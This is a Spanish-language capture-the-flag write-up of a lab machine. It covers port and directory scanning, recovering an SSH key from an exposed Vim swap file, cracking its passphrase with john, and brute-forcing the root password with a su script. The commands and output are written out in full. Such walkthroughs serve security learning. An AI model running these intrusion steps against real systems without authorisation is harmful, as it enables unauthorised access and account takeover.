Enumeramos puertos y directorios:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.40❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 21:38 -04
Nmap scan report for 192.168.1.40
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds❯ gobuster dir -u 'http://192.168.1.40' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,gif,zip -r
...
/index.html (Status: 200) [Size: 10701]
/notes.txt (Status: 200) [Size: 101]
...Encontramos un notes.txt con una pista: el usuario Diego perdió su clave SSH al cerrar el editor por error. Esto sugiere que pudo quedar un archivo temporal de Vim:
❯ cat notes.txt
Fuck!
configuring SSH, I closed the editor by mistake and lost the key.. I can't find it
DiegoFuzzeamos de nuevo buscando extensiones de archivos temporales y de respaldo, y damos con el swap file de Vim de la clave:
❯ gobuster dir -u 'http://192.168.1.40' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/common.txt -x swp,swo,~,bak,bak~,tmp,temp,swn,save,pl~,~pl,backup,bkp,part -r
...
/id_rsa.swp (Status: 200) [Size: 1743]
/index.html (Status: 200) [Size: 10701]
...Descargamos id_rsa.swp y crackeamos la passphrase de la clave con john:
❯ ssh2john id_rsa.swp > hash
❯ john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash
...
sandiego (id_rsa.swp)
...Nos conectamos por SSH como diego usando la clave y la passphrase sandiego, y obtenemos la primera flag:
❯ ssh diego@192.168.1.40 -i id_rsa.swp
Enter passphrase for key 'id_rsa.swp': sandiego
Linux noob 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
Last login: Mon May 22 13:56:42 2023 from 192.168.1.10
diego@noob:~$Para escalar privilegios, hacemos fuerza bruta sobre la contraseña de root con la herramienta carlospolop/su-bruteforce:
diego@noob:/tmp$ ./suBF.sh -u root
[+] Bruteforcing root...
You can login as root using password: rootbeerNos autenticamos como root con la contraseña descubierta:
diego@noob:~$ su root
Contraseña: rootbeer
root@noob:/home/diego#Obtenemos nuestra flag y fin.